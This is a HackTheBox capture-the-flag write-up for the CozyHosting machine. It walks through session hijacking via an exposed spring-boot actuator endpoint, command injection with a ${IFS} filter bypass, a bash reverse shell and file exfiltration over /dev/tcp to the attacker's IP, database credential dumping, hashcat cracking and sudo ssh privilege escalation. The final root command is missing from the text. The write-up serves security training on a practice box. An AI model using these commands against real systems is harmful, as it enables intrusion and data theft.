CozyHosting

This easy box is Linux based. It demonstrates improper visibility configuration of spring-boot endpoints, bad programming practices poor password usage and bad sudo configuration.

Nmap scan

As usual, we start with a basic nmap scan to enumerate the open ports and running services.

┌──(kali㉿kali)-[~/HTB/CozyHosting]
└─$ cat scan.nmap     
# Nmap 7.94 scan initiated Thu Oct 26 12:55:22 2023 as: nmap -sC -sV -p- -T5 -oN scan.nmap 10.10.11.230
Warning: 10.10.11.230 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.11.230
Host is up (0.087s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA)
|_  256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cozyhosting.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Oct 26 13:00:24 2023 -- 1 IP address (1 host up) scanned in 302.19 seconds

We can observe that SSH is listening on port 22 and Nginx webserver is listening on port 80. Nginx redirects to the domain name http://cozyhosting.htb. We can add it to our /etc/hosts file.

The Webapp

When inspecting the webapp, we can find a login page. After some tests, the form does not seem to be vulnerable to SQL/NoSQL Injection and no input is reflected on the page upon submission.

On the other hand, if we try to access a non existing endpoint, an error page is shown. This page indicates Whitelabel Error Page. If we do a bit of research, we can deduce that this is a spring-boot application.

Knowing this information, we proceed to research a bit on spring-boot vulnerabilities. When spring-boot is launched, it exposes some endpoints to display some information and perform actions such as rebooting. Theese endpoints should be hidden from the users as they can disclose critical information.

By performing a directory enumeration using ffuf and a dedicated spring-boot wordlist, we indeed find some endpoints and one leads to the active session cookies.

The endpoint actuator/sessions displays those cookies.

We can grab kanderson’s session cookie, set it up in our browser to hijack his session to log in.

The Admin dashboard

We land on a dashboard that seems to list some hosts. Nothing much is available to us except a form that we can interact with. It looks like this form helps us to add a host that will then be accessed trough SSH by the backend to “auto-patch”.

If we type a hostname or IP and no username, an error is reflected in the URL which is the help message of the Linux SSH command.

This leads to Remote Code Exectution (RCE). We can imagine the structure of the command.

ssh <No Username>@hostname

This throws an error since the command is invalid with no username. We can try to input a bash command substitution to execute an arbitrary command. The problem we face while trying that is that out input is filtered by the spring-boot application before being executed. If some whitespaces are present, the command is not executed.

We can bypass that using the ${IFS} variable that stands for Internal Field Separator. This is a special default variable that expands to a space a tab and a newline and is used by bash for word splitting. Since the variable will expand after going trough the spring-boot input validator, it initially contains no spaces if we replace them by \${IFS}.

RCE

First we can check if the command is properly executed by firing up Burpsuite, a netcat listener and issuing a curl command trough the RCE to our listener.

This confirms that it works and we are pretty sure to be able to get a reverse shell on the machine.

We place the following command in a file, serve it with a python HTTP server and start a netcat listener.

/bin/bash -i >& /dev/tcp/10.10.16.4/1234 0>&1

Then we can curl that file and pipe it to bash trough the RCE. We use this method rather than executing the command directly because we still get errors due to unclean command parsing with the ${IFS}. This is a cleaner approach.

At this point we inspect the directory that we landed in and find a cloudhosting-0.0.1.jar file. We can download it by setting up a netcat listener on our attack host and sending the file with the following commands:

Attack host:
nc -lvnp 1244 > cloudhosting-0.0.1.jar
Target host:
cat cloudhosting-0.0.1.jar > /dev/tcp/10.10.16.4/1244

The JAR file

We can now extract this file using the unzip command and start hunting for juicy information. We do indeed find a file containing some credentials to a postgres database and the name of the database.

Using the following commands, we can list the tables and the colums of the database:

app@cozyhosting:/app$ psql -h localhost -W -U postgres -d cozyhosting -c '\dt'
Password: 
         List of relations
 Schema | Name  | Type  |  Owner   
--------+-------+-------+----------
 public | hosts | table | postgres
 public | users | table | postgres
(2 rows)
app@cozyhosting:/app$ psql -h localhost -W -U postgres -d cozyhosting -c 'SELECT * FROM users;'
Password: 
   name    |                           password                           | role  
-----------+--------------------------------------------------------------+-------
 kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | Admin
 admin     | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin
(2 rows)

We found some hashes that we can try to crack with hashcat.

Cracking Hashes With Hashcat

We can use the Hash Identifier tool and find out that we are dealing with a bcrypt \$2*$, Blowfish (Unix) hash.

Let’s put the hashes in a file and launch hashcat to attempt to crack the hashes:

┌──(kali㉿kali)-[~/HTB/CozyHosting]
└─$ hashcat -m 3200 cozy.hashes /usr/share/wordlists/rockyou.txt -o cozy.cracked

One hash is cracked and gives us manchesterunited as a result.

Lateral movement

With further enumeration, we can see that a user named josh is present in the /etc/passwd file.

We can use the previously cracked password to log in trough SSH as this user and obtain the user flag.

Getting Root

This is pretty simple. If we list the available sudo commands to the user josh, we can see that it is possible to use the ssh command.

A good practice is to search on GTFOBins to see if a privilege escalation is possible trough that binary.

The binary is in fact vulnerable and we can obtain the root flag with the following command:

This let’s us read a file as root but it is also possible to exfiltrate files on the network, download files and spawn a shell.